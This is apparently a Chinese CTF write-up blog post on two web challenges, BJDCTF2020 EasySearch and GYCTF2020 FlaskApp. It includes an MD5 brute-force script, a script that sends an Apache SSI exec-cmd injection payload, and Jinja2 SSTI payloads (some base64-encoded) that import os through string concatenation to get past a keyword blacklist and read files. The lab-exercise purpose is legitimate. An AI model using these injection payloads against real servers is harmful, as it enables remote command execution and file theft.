[CTF]WriteUp第12篇

[BJDCTF2020]EasySearch

思路

扫描到index.php.swp文件(并没有

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

解题

先找到MD5值的为6d0bc1开头的内容,这里写个多线程py文件
(单线程太慢了

import hashlib
import threading

# 定义一个锁,用于同步线程
lock = threading.Lock()

# 定义一个共享变量,用于记录找到的i值
found_i = None

def md5_check(start, end):
    global found_i
    for i in range(start, end):
        a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
        if a[:6] == '6d0bc1':
            with lock:
                found_i = i
                print(f"Found at i={found_i} by thread {threading.current_thread().name}")
                return

def main():
    num_threads = 20
    total_range = 10000000000000000
    range_per_thread = total_range // num_threads

    threads = []
    for i in range(num_threads):
        start = i * range_per_thread + 1
        end = (i + 1) * range_per_thread if i < num_threads - 1 else total_range
        thread = threading.Thread(target=md5_check, args=(start, end), name=f"Thread-{i}")
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

    if found_i is not None:
        print(f"The first i where MD5 hash starts with '6d0bc1' is: {found_i}")

if __name__ == "__main__":
    main()
这样快多了

然后输入密码,抓包,在返回包体中发现:
Url_Is_Here: public/418bee65cef42f2244aa047dd495ea0facc37971.shtml
结合之前的代码,容易看出 <h1>Hello,'.$_POST['username'].'</h1>这里存在注入类的漏洞
后来知道这是Apache SSI 远程命令执行漏洞(SSI注入漏洞)
默认扩展名是 .stm、.shtm 和 .shtml的网页可能存在这一漏洞
SSI标签相关知识:服务器端包含 (SSI) 注入 |OWASP 基金会

尝试用SSI标签作为username访问网站,确实有这个注入漏洞
这里为了方便起见写个py文件访问一下

import requests
from lxml import etree

url = 'http://c49dcc60-3f7c-4061-aa42-5031d25b7b09.node5.buuoj.cn:81/'
data = {'username': '11', 'password': '7000000000624522'}
cmd = 'cat ../flag*'  # imput here!!!
data['username'] = '<!--#exec cmd="' + cmd + '" -->'  
response = requests.post(url=url+'index.php', data=data)
shtml = response.headers['Url_Is_Here']
# print(shtml)
response_2 = requests.get(url=url+shtml)
# print(response_2.text)
tree = etree.HTML(response_2.text)
print(tree.xpath('/html/body/h1/text()')[0][6:])

注意

默认扩展名是 .stm、.shtm 和 .shtml的网页可能存在Apache SSI 远程命令执行漏洞(SSI注入漏洞)

SSI标签模板:`<!–#exec cmd=”ls” –>`


[GYCTF2020]FlaskApp

思路

明显是flask的SSTI应该是在解码那里,试了试果然是
不会,直接看WriteUp了

解题

两个解法,一个通用,一个灵活

灵活解法:直接读取flag

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

# eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbignYXBwLnB5JywncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9Cg==

看到app.py源码:

from flask import Flask, render_template_string
from flask import render_template, request, flash, redirect, url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)

class NameForm(FlaskForm):
    text = StringField('BASE64加密', validators=[DataRequired()])
    submit = SubmitField('提交')

class NameForm1(FlaskForm):
    text = StringField('BASE64解密', validators=[DataRequired()])
    submit = SubmitField('提交')

def waf(str):
    black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request", 
                  "subprocess", "commands", "socket", "hex", "base64", "*", "?"]
    for x in black_list:
        if x in str.lower():
            return 1

@app.route('/hint', methods=['GET'])
def hint():
    txt = "失败乃成功之母!!"
    return render_template("hint.html", txt=txt)

@app.route('/', methods=['POST', 'GET'])
def encode():
    if request.values.get('text'):
        text = request.values.get("text")
        text_decode = base64.b64encode(text.encode())
        tmp = "结果 :{0}".format(str(text_decode.decode()))
        res = render_template_string(tmp)
        flash(tmp)
        return redirect(url_for('encode'))
    else:
        text = ""
        form = NameForm(text)
        return render_template("index.html", form=form, method="加密", img="flask.png")

@app.route('/decode', methods=['POST', 'GET'])
def decode():
    if request.values.get('text'):
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp):
            flash("no no no !!")
            return redirect(url_for('decode'))
        res = render_template_string(tmp)
        flash(res)
        return redirect(url_for('decode'))
    else:
        text = ""
        form = NameForm1(text)
        return render_template("index.html", form=form, method="解密", img="flask1.png")

@app.route('/<name>', methods=['GET'])
def not_found(name):
    return render_template("404.html", name=name)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000, debug=True)

审计waf发现可以用字符串拼接

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

# e3snJy5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXVsnX19pbXAnKydvcnRfXyddKCdvJysncycpLmxpc3RkaXIoJy8nKX19

-> [&#39;proc&#39;, &#39;lib&#39;, &#39;etc&#39;, &#39;tmp&#39;, &#39;var&#39;, &#39;home&#39;, &#39;run&#39;, &#39;boot&#39;, &#39;usr&#39;, &#39;sbin&#39;, &#39;opt&#39;, &#39;lib64&#39;, &#39;sys&#39;, &#39;srv&#39;, &#39;bin&#39;, &#39;root&#39;, &#39;dev&#39;, &#39;mnt&#39;, &#39;media&#39;, &#39;this_is_the_flag.txt&#39;, &#39;.dockerenv&#39;, &#39;app&#39;]

读取this_is_the_flag.txt完事

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

# eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9

-> flag{47115782-6285-4760-99ca-6cbf376bf108}

注意

学学flask模板去

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇